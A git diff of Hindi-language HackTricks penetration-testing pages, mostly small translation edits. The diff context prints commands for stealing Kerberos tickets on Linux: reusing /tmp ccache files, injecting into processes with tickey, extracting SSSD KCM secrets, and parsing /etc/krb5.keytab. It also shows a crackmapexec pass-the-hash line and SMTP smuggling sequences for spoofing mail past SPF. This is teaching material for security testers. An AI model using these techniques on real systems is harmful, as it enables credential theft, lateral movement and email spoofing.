इस पृष्ठ पर आप विभिन्न स्थान पाएंगे जहाँ आप **एक लिनक्स होस्ट के अंदर kerberos टिकट पा सकते हैं**, अगले पृष्ठ पर आप सीख सकते हैं कि इन CCache टिकटों के प्रारूपों को Kirbi (विंडोज में उपयोग करने के लिए आवश्यक प्रारूप) में कैसे परिवर्तित किया जाए और PTT हमले को कैसे किया जाए:
|
||||
इस पृष्ठ पर आप विभिन्न स्थान पाएंगे जहाँ आप **एक लिनक्स होस्ट के अंदर kerberos टिकट पा सकते हैं**, अगले पृष्ठ पर आप सीख सकते हैं कि इन CCache टिकटों के प्रारूपों को Kirbi (वह प्रारूप जिसे आपको Windows में उपयोग करना है) में कैसे परिवर्तित किया जाए और साथ ही PTT हमले को कैसे किया जाए:
|
||||
|
||||
{% content-ref url="../../windows-hardening/active-directory-methodology/pass-the-ticket.md" %}
|
||||
[pass-the-ticket.md](../../windows-hardening/active-directory-methodology/pass-the-ticket.md)
|
||||
|
@ -55,9 +53,9 @@ FreeIPA एक ओपन-सोर्स **वैकल्पिक** है Mic
|
|||
|
||||
### CCACHE ticket reuse from /tmp
|
||||
|
||||
CCACHE फ़ाइलें **Kerberos क्रेडेंशियल्स** को स्टोर करने के लिए बाइनरी प्रारूप हैं जो आमतौर पर `/tmp` में 600 अनुमतियों के साथ संग्रहीत होती हैं। इन फ़ाइलों की पहचान उनके **नाम प्रारूप, `krb5cc_%{uid}`,** द्वारा की जा सकती है, जो उपयोगकर्ता के UID से संबंधित है। प्रमाणीकरण टिकट सत्यापन के लिए, **पर्यावरण चर `KRB5CCNAME`** को इच्छित टिकट फ़ाइल के पथ पर सेट किया जाना चाहिए, जिससे इसका पुन: उपयोग सक्षम हो सके।
|
||||
CCACHE फ़ाइलें **Kerberos क्रेडेंशियल्स** को स्टोर करने के लिए बाइनरी प्रारूप हैं जो आमतौर पर `/tmp` में 600 अनुमतियों के साथ संग्रहीत होती हैं। इन फ़ाइलों की पहचान उनके **नाम प्रारूप, `krb5cc_%{uid}`,** के द्वारा की जा सकती है, जो उपयोगकर्ता के UID से संबंधित है। प्रमाणीकरण टिकट सत्यापन के लिए, **पर्यावरण चर `KRB5CCNAME`** को इच्छित टिकट फ़ाइल के पथ पर सेट किया जाना चाहिए, जिससे इसका पुन: उपयोग सक्षम हो सके।
|
||||
|
||||
प्रमाणीकरण के लिए उपयोग किए जा रहे वर्तमान टिकट को `env | grep KRB5CCNAME` के साथ सूचीबद्ध करें। प्रारूप पोर्टेबल है और टिकट को **पर्यावरण चर सेट करके पुन: उपयोग किया जा सकता है** `export KRB5CCNAME=/tmp/ticket.ccache` के साथ। Kerberos टिकट नाम प्रारूप `krb5cc_%{uid}` है जहाँ uid उपयोगकर्ता UID है।
|
||||
प्रमाणीकरण के लिए उपयोग किए जा रहे वर्तमान टिकट की सूची `env | grep KRB5CCNAME` के साथ बनाएं। प्रारूप पोर्टेबल है और टिकट को **पर्यावरण चर सेट करके पुन: उपयोग किया जा सकता है** `export KRB5CCNAME=/tmp/ticket.ccache` के साथ। Kerberos टिकट नाम प्रारूप `krb5cc_%{uid}` है जहाँ uid उपयोगकर्ता UID है।
|
||||
```bash
|
||||
# Find tickets
|
||||
ls /tmp/ | grep krb5cc
|
||||
|
@ -66,9 +64,9 @@ krb5cc_1000
|
|||
# Prepare to use it
|
||||
export KRB5CCNAME=/tmp/krb5cc_1000
|
||||
```
|
||||
### CCACHE टिकट पुन: उपयोग कीजिए की रिंग से
|
||||
### CCACHE टिकट पुन: उपयोग कीजिए कीरिंग से
|
||||
|
||||
**प्रक्रिया की मेमोरी में संग्रहीत Kerberos टिकटों को निकाला जा सकता है**, विशेष रूप से जब मशीन की ptrace सुरक्षा अक्षम होती है (`/proc/sys/kernel/yama/ptrace_scope`)। इस उद्देश्य के लिए एक उपयोगी उपकरण [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey) पर पाया जा सकता है, जो सत्रों में इंजेक्ट करके और टिकटों को `/tmp` में डंप करके निकासी को सुविधाजनक बनाता है।
|
||||
**प्रक्रिया की मेमोरी में संग्रहीत Kerberos टिकटों को निकाला जा सकता है**, विशेष रूप से जब मशीन की ptrace सुरक्षा अक्षम होती है (`/proc/sys/kernel/yama/ptrace_scope`)। इस उद्देश्य के लिए एक उपयोगी उपकरण [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey) पर पाया जा सकता है, जो सत्रों में इंजेक्ट करके और `/tmp` में टिकटों को डंप करके निकासी को सुविधाजनक बनाता है।
|
||||
|
||||
इस उपकरण को कॉन्फ़िगर और उपयोग करने के लिए, नीचे दिए गए चरणों का पालन किया जाता है:
|
||||
```bash
|
||||
|
@ -79,7 +77,7 @@ make CONF=Release
|
|||
```
|
||||
यह प्रक्रिया विभिन्न सत्रों में इंजेक्ट करने का प्रयास करेगी, सफलता को `/tmp` में `__krb_UID.ccache` नामकरण सम्मेलन के साथ निकाले गए टिकटों को संग्रहीत करके दर्शाएगी।
|
||||
|
||||
### CCACHE टिकट पुन: उपयोग SSSD KCM से
|
||||
### SSSD KCM से CCACHE टिकट पुन: उपयोग
|
||||
|
||||
SSSD `/var/lib/sss/secrets/secrets.ldb` पथ पर डेटाबेस की एक प्रति बनाए रखता है। संबंधित कुंजी `/var/lib/sss/secrets/.secrets.mkey` पथ पर एक छिपी हुई फ़ाइल के रूप में संग्रहीत होती है। डिफ़ॉल्ट रूप से, कुंजी केवल तब पढ़ी जा सकती है जब आपके पास **root** अनुमतियाँ हों।
|
||||
|
||||
|
@ -88,9 +86,9 @@ SSSD `/var/lib/sss/secrets/secrets.ldb` पथ पर डेटाबेस क
|
|||
git clone https://github.com/fireeye/SSSDKCMExtractor
|
||||
python3 SSSDKCMExtractor.py --database secrets.ldb --key secrets.mkey
|
||||
```
|
||||
**क्रेडेंशियल कैश कर्बेरोस ब्लॉब को एक उपयोगी कर्बेरोस CCache** फ़ाइल में परिवर्तित किया जा सकता है जिसे Mimikatz/Rubeus को पास किया जा सकता है।
|
||||
The **credential cache Kerberos blob को एक उपयोगी Kerberos CCache** फ़ाइल में परिवर्तित किया जा सकता है जिसे Mimikatz/Rubeus को पास किया जा सकता है।
|
||||
|
||||
### CCACHE टिकट पुन: उपयोग कीजट से
|
||||
### CCACHE टिकट पुन: उपयोग keytab से
|
||||
```bash
|
||||
git clone https://github.com/its-a-feature/KeytabParser
|
||||
python KeytabParser.py /etc/krb5.keytab
|
||||
|
@ -119,17 +117,16 @@ macOS पर, **`bifrost`** कुंजीपटल फ़ाइल विश
|
|||
crackmapexec 10.XXX.XXX.XXX -u 'ServiceAccount$' -H "HashPlaceholder" -d "YourDOMAIN"
|
||||
```
|
||||
## संदर्भ
|
||||
|
||||
* [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/)
|
||||
* [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey)
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#linux-active-directory](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#linux-active-directory)
|
||||
|
||||
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
सीखें और AWS हैकिंग का अभ्यास करें:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
सीखें और GCP हैकिंग का अभ्यास करें: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -94,7 +94,7 @@ security authorizationdb read com.apple.tcc.util.admin
|
|||
|
||||
यह `/usr/libexec/security_authtrampoline /bin/ls` को रूट के रूप में फोर्क और एक्सेक करेगा, जो रूट के रूप में ls निष्पादित करने के लिए अनुमति मांगने के लिए एक प्रॉम्प्ट में पूछेगा:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (10).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
|
|
@ -19,7 +19,7 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="
|
|||
|
||||
Mach-o बाइनरी में एक लोड कमांड होता है जिसे **`LC_CODE_SIGNATURE`** कहा जाता है, जो बाइनरी के अंदर सिग्नेचर के **ऑफसेट** और **आकार** को इंगित करता है। वास्तव में, GUI टूल MachOView का उपयोग करके, बाइनरी के अंत में एक सेक्शन पाया जा सकता है जिसे **कोड सिग्नेचर** कहा जाता है जिसमें यह जानकारी होती है:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1).png" alt="" width="431"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1).png" alt="" width="431"><figcaption></figcaption></figure>
|
||||
|
||||
कोड सिग्नेचर का जादुई हेडर **`0xFADE0CC0`** है। फिर आपके पास सुपरब्लॉब के ब्लॉब की लंबाई और संख्या जैसी जानकारी होती है जो उन्हें शामिल करती है।\
|
||||
यह जानकारी [स्रोत कोड में यहाँ](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/osfmk/kern/cs\_blobs.h#L276) पाई जा सकती है:
|
||||
|
@ -51,14 +51,14 @@ char data[];
|
|||
} CS_GenericBlob
|
||||
__attribute__ ((aligned(1)));
|
||||
```
|
||||
सामान्य ब्लॉब में कोड निर्देशिका, आवश्यकताएँ और अधिकार और एक क्रिप्टोग्राफिक संदेश सिंटैक्स (CMS) शामिल होते हैं।\
|
||||
इसके अलावा, ध्यान दें कि ब्लॉब में एन्कोडेड डेटा **बिग एंडियन** में एन्कोडेड है।
|
||||
Common blobs contained are Code Directory, Requirements and Entitlements and a Cryptographic Message Syntax (CMS).\
|
||||
Moreover, note how the data encoded in the blobs is encoded in **Big Endian.**
|
||||
|
||||
इसके अलावा, हस्ताक्षर बाइनरी से अलग किए जा सकते हैं और `/var/db/DetachedSignatures` में संग्रहीत किए जा सकते हैं (जो iOS द्वारा उपयोग किया जाता है)।
|
||||
Moreover, signatures cloud be detached from the binaries and stored in `/var/db/DetachedSignatures` (used by iOS).
|
||||
|
||||
## कोड निर्देशिका ब्लॉब
|
||||
## Code Directory Blob
|
||||
|
||||
[कोड निर्देशिका ब्लॉब की घोषणा कोड में पाई जा सकती है](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/osfmk/kern/cs\_blobs.h#L104):
|
||||
It's possible to find the declaration of the [Code Directory Blob in the code](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/osfmk/kern/cs\_blobs.h#L104):
|
||||
```c
|
||||
typedef struct __CodeDirectory {
|
||||
uint32_t magic; /* magic number (CSMAGIC_CODEDIRECTORY) */
|
||||
|
@ -161,7 +161,7 @@ openssl sha256 /tmp/*.page.*
|
|||
|
||||
## Special Slots
|
||||
|
||||
MacOS अनुप्रयोगों को बाइनरी के अंदर निष्पादित करने के लिए आवश्यक सभी चीजें नहीं मिलती हैं, लेकिन वे **external resources** (आमतौर पर अनुप्रयोगों के **bundle** के अंदर) का भी उपयोग करते हैं। इसलिए, बाइनरी के अंदर कुछ स्लॉट होते हैं जो कुछ दिलचस्प बाहरी संसाधनों के हैश को रखेंगे ताकि यह जांचा जा सके कि उन्हें संशोधित नहीं किया गया है।
|
||||
MacOS अनुप्रयोगों को बाइनरी के अंदर निष्पादित करने के लिए आवश्यक सभी चीजें नहीं होती हैं, लेकिन वे **बाहरी संसाधनों** का भी उपयोग करते हैं (आमतौर पर अनुप्रयोगों के **bundle** के अंदर)। इसलिए, बाइनरी के अंदर कुछ स्लॉट होते हैं जो कुछ दिलचस्प बाहरी संसाधनों के हैश को रखेंगे ताकि यह जांचा जा सके कि उन्हें संशोधित नहीं किया गया है।
|
||||
|
||||
वास्तव में, कोड निर्देशिका संरचनाओं में एक पैरामीटर है जिसे **`nSpecialSlots`** कहा जाता है, जो विशेष स्लॉट की संख्या को इंगित करता है। वहाँ कोई विशेष स्लॉट 0 नहीं है और सबसे सामान्य ( -1 से -6 तक) हैं:
|
||||
|
||||
|
@ -175,7 +175,7 @@ MacOS अनुप्रयोगों को बाइनरी के अं
|
|||
|
||||
## Code Signing Flags
|
||||
|
||||
हर प्रक्रिया से संबंधित एक बिटमास्क होता है जिसे `status` के रूप में जाना जाता है जिसे कर्नेल द्वारा शुरू किया जाता है और इनमें से कुछ को **code signature** द्वारा ओवरराइड किया जा सकता है। कोड साइनिंग में शामिल किए जा सकने वाले ये ध्वज [कोड में परिभाषित हैं](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/osfmk/kern/cs_blobs.h#L36):
|
||||
हर प्रक्रिया से संबंधित एक बिटमास्क होता है जिसे `status` के रूप में जाना जाता है जिसे कर्नेल द्वारा शुरू किया जाता है और इनमें से कुछ को **कोड हस्ताक्षर** द्वारा ओवरराइड किया जा सकता है। कोड हस्ताक्षर में शामिल किए जा सकने वाले ये ध्वज [कोड में परिभाषित हैं](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/osfmk/kern/cs_blobs.h#L36):
|
||||
```c
|
||||
/* code signing attributes of a process */
|
||||
#define CS_VALID 0x00000001 /* dynamically valid */
|
||||
|
@ -224,7 +224,7 @@ Note that the function [**exec\_mach\_imgact**](https://github.com/apple-oss-dis
|
|||
|
||||
## कोड सिग्नेचर आवश्यकताएँ
|
||||
|
||||
प्रत्येक एप्लिकेशन कुछ **आवश्यकताएँ** संग्रहीत करता है जिन्हें इसे निष्पादित करने के लिए **पूरा करना** आवश्यक है। यदि **एप्लिकेशन में ऐसी आवश्यकताएँ हैं जो एप्लिकेशन द्वारा पूरी नहीं की गई हैं**, तो इसे निष्पादित नहीं किया जाएगा (क्योंकि इसे शायद बदला गया है)।
|
||||
प्रत्येक एप्लिकेशन कुछ **आवश्यकताएँ** संग्रहीत करता है जिन्हें उसे निष्पादित करने के लिए **पूरा करना** आवश्यक है। यदि **एप्लिकेशन में ऐसी आवश्यकताएँ हैं जो एप्लिकेशन द्वारा पूरी नहीं की गई हैं**, तो इसे निष्पादित नहीं किया जाएगा (क्योंकि इसे शायद बदला गया है)।
|
||||
|
||||
एक बाइनरी की आवश्यकताएँ एक **विशेष व्याकरण** का उपयोग करती हैं जो **व्यक्तियों** की एक धारा होती है और इन्हें `0xfade0c00` को जादू के रूप में उपयोग करके ब्लॉब के रूप में एन्कोड किया जाता है, जिसका **हैश एक विशेष कोड स्लॉट में संग्रहीत होता है**।
|
||||
|
||||
|
@ -301,7 +301,7 @@ od -A x -t x1 /tmp/output.csreq
|
|||
* **`SecCodeGetTypeID`**: `SecCodeRef` ऑब्जेक्ट के लिए प्रकार पहचानकर्ता लौटाता है।
|
||||
* **`SecRequirementGetTypeID`**: `SecRequirementRef` का CFTypeID प्राप्त करता है।
|
||||
|
||||
#### **कोड साइनिंग ध्वज और स्थायी**
|
||||
#### **कोड साइनिंग ध्वज और स्थिरांक**
|
||||
|
||||
* **`kSecCSDefaultFlags`**: कोड साइनिंग संचालन के लिए कई Security.framework कार्यों में उपयोग किए जाने वाले डिफ़ॉल्ट ध्वज।
|
||||
* **`kSecCSSigningInformation`**: ध्वज जो यह निर्दिष्ट करने के लिए उपयोग किया जाता है कि साइनिंग जानकारी प्राप्त की जानी चाहिए।
|
||||
|
@ -312,7 +312,7 @@ od -A x -t x1 /tmp/output.csreq
|
|||
|
||||
## `cs_blobs` & `cs_blob`
|
||||
|
||||
[**cs\_blob**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/sys/ubc\_internal.h#L106) संरचना उस पर चल रहे प्रक्रिया के अधिकार के बारे में जानकारी रखती है। `csb_platform_binary` यह भी सूचित करता है कि क्या एप्लिकेशन एक प्लेटफ़ॉर्म बाइनरी है (जिसकी जाँच विभिन्न क्षणों में OS द्वारा सुरक्षा तंत्र लागू करने के लिए की जाती है जैसे कि इन प्रक्रियाओं के कार्य पोर्ट के लिए SEND अधिकारों की रक्षा करना)।
|
||||
[**cs\_blob**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/sys/ubc\_internal.h#L106) संरचना में चल रहे प्रक्रिया के अधिकार के बारे में जानकारी होती है। `csb_platform_binary` यह भी सूचित करता है कि क्या एप्लिकेशन एक प्लेटफ़ॉर्म बाइनरी है (जिसकी जाँच विभिन्न क्षणों में OS द्वारा सुरक्षा तंत्र लागू करने के लिए की जाती है जैसे कि इन प्रक्रियाओं के कार्य पोर्ट के लिए SEND अधिकारों की रक्षा करना)।
|
||||
```c
|
||||
struct cs_blob {
|
||||
struct cs_blob *csb_next;
|
||||
|
@ -384,8 +384,8 @@ bool csb_csm_managed;
|
|||
<summary>HackTricks का समर्थन करें</summary>
|
||||
|
||||
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* **शामिल हों** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर **फॉलो करें**.**
|
||||
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PRs सबमिट करें.
|
||||
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
|
||||
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -23,7 +23,7 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
|
|||
|
||||
यह इस कारण से है कि SMTP प्रोटोकॉल में, ईमेल में भेजे जाने वाले **संदेश का डेटा** एक उपयोगकर्ता (हमलावर) द्वारा नियंत्रित किया जाता है जो विशेष रूप से तैयार किए गए डेटा को भेज सकता है जो पार्सर्स में भिन्नताओं का शोषण करता है जो रिसेप्टर में अतिरिक्त ईमेल को स्मगल करेगा। इस मूल पोस्ट से इस चित्रित उदाहरण पर एक नज़र डालें:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (8) (1) (1) (1).png" alt=""><figcaption><p><a href="https://sec-consult.com/fileadmin/user_upload/sec-consult/Dynamisch/Blogartikel/2023_12/SMTP_Smuggling-Overview__09_.png">https://sec-consult.com/fileadmin/user_upload/sec-consult/Dynamisch/Blogartikel/2023_12/SMTP_Smuggling-Overview__09_.png</a></p></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (8) (1) (1) (1) (1).png" alt=""><figcaption><p><a href="https://sec-consult.com/fileadmin/user_upload/sec-consult/Dynamisch/Blogartikel/2023_12/SMTP_Smuggling-Overview__09_.png">https://sec-consult.com/fileadmin/user_upload/sec-consult/Dynamisch/Blogartikel/2023_12/SMTP_Smuggling-Overview__09_.png</a></p></figcaption></figure>
|
||||
|
||||
### How
|
||||
|
||||
|
@ -32,14 +32,14 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
|
|||
शोधकर्ताओं ने खोजा कि विभिन्न **इनबाउंड सर्वर विभिन्न वर्णों को ईमेल संदेश के डेटा के अंत के रूप में मानते हैं** जो आउटबाउंड सर्वर नहीं करते।\
|
||||
उदाहरण के लिए, डेटा का सामान्य अंत `\r\n.\r` है। लेकिन यदि इनबाउंड SMTP सर्वर `\n.` का भी समर्थन करता है, तो एक हमलावर बस **उस डेटा को अपने ईमेल में जोड़ सकता है और नए ईमेल को स्मगल करने के लिए SMTP कमांड को इंगित करना शुरू कर सकता है** जैसे कि पिछले चित्र में।
|
||||
|
||||
बेशक, यह केवल तभी काम कर सकता है यदि **आउटबाउंड SMTP सर्वर इस डेटा को संदेश डेटा के अंत के रूप में नहीं मानता है**, क्योंकि उस मामले में यह केवल 1 के बजाय 2 ईमेल देखेगा, इसलिए अंत में यह असंगति है जिसका इस भेद्यता में शोषण किया जा रहा है।
|
||||
बेशक, यह केवल तभी काम कर सकता है यदि **आउटबाउंड SMTP सर्वर इस डेटा को भी संदेश डेटा के अंत के रूप में नहीं मानता है**, क्योंकि उस मामले में यह केवल 1 के बजाय 2 ईमेल देखेगा, इसलिए अंत में यह असंगति है जिसका इस भेद्यता में शोषण किया जा रहा है।
|
||||
|
||||
संभावित असंगति डेटा:
|
||||
|
||||
* `\n.`
|
||||
* `\n.\r`
|
||||
|
||||
यह भी ध्यान दें कि SPF बायपास किया गया है क्योंकि यदि आप `admin@outlook.com` से `user@outlook.com` के ईमेल से एक ईमेल स्मगल करते हैं, तो **प्रेषक अभी भी `outlook.com` है।**
|
||||
यह भी ध्यान दें कि SPF को बायपास किया गया है क्योंकि यदि आप `admin@outlook.com` से `user@outlook.com` के ईमेल से एक ईमेल स्मगल करते हैं, तो **प्रेषक अभी भी `outlook.com` है।**
|
||||
|
||||
## **References**
|
||||
|
||||
|
|
|
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक_).
|
||||
|
||||
|
@ -43,12 +43,12 @@ MIB फ़ाइलें `एब्स्ट्रैक्ट सिंटै
|
|||
|
||||
MIB ऑब्जेक्ट IDs, या OIDs, के उच्चतम स्तर विभिन्न मानक-निर्धारण संगठनों को आवंटित किए जाते हैं। इन शीर्ष स्तरों के भीतर वैश्विक प्रबंधन प्रथाओं और मानकों के लिए ढांचा स्थापित किया जाता है।
|
||||
|
||||
इसके अलावा, विक्रेताओं को निजी शाखाएँ स्थापित करने की स्वतंत्रता दी जाती है। इन शाखाओं के भीतर, उनके पास **अपने उत्पाद लाइनों से संबंधित प्रबंधित ऑब्जेक्ट्स को शामिल करने की स्वायत्तता** होती है। यह प्रणाली विभिन्न विक्रेताओं और मानकों के बीच ऑब्जेक्ट्स की पहचान और प्रबंधन के लिए एक संरचित और संगठित विधि सुनिश्चित करती है।
|
||||
इसके अलावा, विक्रेताओं को निजी शाखाएं स्थापित करने की स्वतंत्रता दी जाती है। इन शाखाओं के भीतर, उनके पास **अपने उत्पाद लाइनों से संबंधित प्रबंधित ऑब्जेक्ट्स को शामिल करने की स्वायत्तता** होती है। यह प्रणाली विभिन्न विक्रेताओं और मानकों के बीच ऑब्जेक्ट्स की पहचान और प्रबंधन के लिए एक संरचित और संगठित विधि सुनिश्चित करती है।
|
||||
|
||||
![](<../../.gitbook/assets/SNMP\_OID\_MIB\_Tree (1).png>)
|
||||
|
||||
आप यहाँ वेब से **OID पेड़** के माध्यम से **नेविगेट** कर सकते हैं: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) या **देख सकते हैं कि OID का क्या मतलब है** (जैसे `1.3.6.1.2.1.1`) [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1) पर जाकर।\
|
||||
कुछ **प्रसिद्ध OIDs** हैं जैसे [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) के भीतर जो MIB-2 द्वारा परिभाषित सरल नेटवर्क प्रबंधन प्रोटोकॉल (SNMP) वेरिएबल्स को संदर्भित करते हैं। और इस **OID से पेंडिंग OIDs** से आप कुछ दिलचस्प होस्ट डेटा (सिस्टम डेटा, नेटवर्क डेटा, प्रक्रियाओं का डेटा...) प्राप्त कर सकते हैं।
|
||||
आप यहां वेब के माध्यम से **OID पेड़** के माध्यम से **नेविगेट** कर सकते हैं: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) या **देख सकते हैं कि OID का क्या अर्थ है** (जैसे `1.3.6.1.2.1.1`) [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1) पर जाकर।\
|
||||
कुछ **प्रसिद्ध OIDs** हैं जैसे [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) के भीतर जो MIB-2 द्वारा परिभाषित सरल नेटवर्क प्रबंधन प्रोटोकॉल (SNMP) वेरिएबल्स को संदर्भित करते हैं। और इस एक से **लंबित OIDs** से आप कुछ दिलचस्प होस्ट डेटा (सिस्टम डेटा, नेटवर्क डेटा, प्रक्रियाओं का डेटा...) प्राप्त कर सकते हैं।
|
||||
|
||||
### **OID उदाहरण**
|
||||
|
||||
|
@ -60,12 +60,12 @@ MIB ऑब्जेक्ट IDs, या OIDs, के उच्चतम स्
|
|||
|
||||
* 1 – इसे ISO कहा जाता है और यह स्थापित करता है कि यह एक OID है। यही कारण है कि सभी OIDs "1" से शुरू होते हैं।
|
||||
* 3 – इसे ORG कहा जाता है और इसका उपयोग उस संगठन को निर्दिष्ट करने के लिए किया जाता है जिसने डिवाइस बनाया।
|
||||
* 6 – यह DOD या रक्षा विभाग है जो वह संगठन है जिसने सबसे पहले इंटरनेट स्थापित किया।
|
||||
* 1 – यह इंटरनेट का मान है जो यह दर्शाता है कि सभी संचार इंटरनेट के माध्यम से होगा।
|
||||
* 6 – यह dod या रक्षा विभाग है जो वह संगठन है जिसने सबसे पहले इंटरनेट स्थापित किया।
|
||||
* 1 – यह इंटरनेट का मान है जो यह दर्शाता है कि सभी संचार इंटरनेट के माध्यम से होंगे।
|
||||
* 4 – यह मान निर्धारित करता है कि यह डिवाइस एक निजी संगठन द्वारा बनाया गया है और न कि सरकारी।
|
||||
* 1 – यह मान दर्शाता है कि डिवाइस एक उद्यम या व्यवसाय इकाई द्वारा बनाया गया है।
|
||||
|
||||
ये पहले छह मान सभी डिवाइसों के लिए समान होते हैं और ये आपको उनके बारे में मूल जानकारी देते हैं। ये संख्याओं का अनुक्रम सभी OIDs के लिए समान होगा, सिवाय इसके कि जब डिवाइस सरकारी द्वारा बनाया गया हो।
|
||||
ये पहले छह मान सभी डिवाइसों के लिए समान होते हैं और ये आपको उनके बारे में मूल जानकारी देते हैं। ये संख्याओं का अनुक्रम सभी OIDs के लिए समान होगा, सिवाय इसके कि डिवाइस सरकारी द्वारा बनाया गया हो।
|
||||
|
||||
अगले संख्याओं के सेट पर चलते हैं।
|
||||
|
||||
|
@ -75,7 +75,7 @@ MIB ऑब्जेक्ट IDs, या OIDs, के उच्चतम स्
|
|||
|
||||
बाकी के मान डिवाइस के बारे में विशिष्ट जानकारी देते हैं।
|
||||
|
||||
* 5 – एक डिस्क्रीट अलार्म पॉइंट को दर्शाता है।
|
||||
* 5 – एक विविक्त अलार्म बिंदु को दर्शाता है।
|
||||
* 1 – डिवाइस में विशिष्ट बिंदु
|
||||
* 3 – पोर्ट
|
||||
* 21 – पोर्ट का पता
|
||||
|
@ -87,37 +87,37 @@ MIB ऑब्जेक्ट IDs, या OIDs, के उच्चतम स्
|
|||
|
||||
SNMP के 2 महत्वपूर्ण संस्करण हैं:
|
||||
|
||||
* **SNMPv1**: मुख्य संस्करण, यह अभी भी सबसे सामान्य है, **प्रमाणीकरण एक स्ट्रिंग** (कम्युनिटी स्ट्रिंग) पर आधारित है जो **सादा पाठ** में यात्रा करता है (सभी जानकारी सादा पाठ में यात्रा करती है)। **संस्करण 2 और 2c** भी **सादा पाठ में ट्रैफ़िक भेजते हैं** और **प्रमाणीकरण के रूप में एक कम्युनिटी स्ट्रिंग का उपयोग करते हैं**।
|
||||
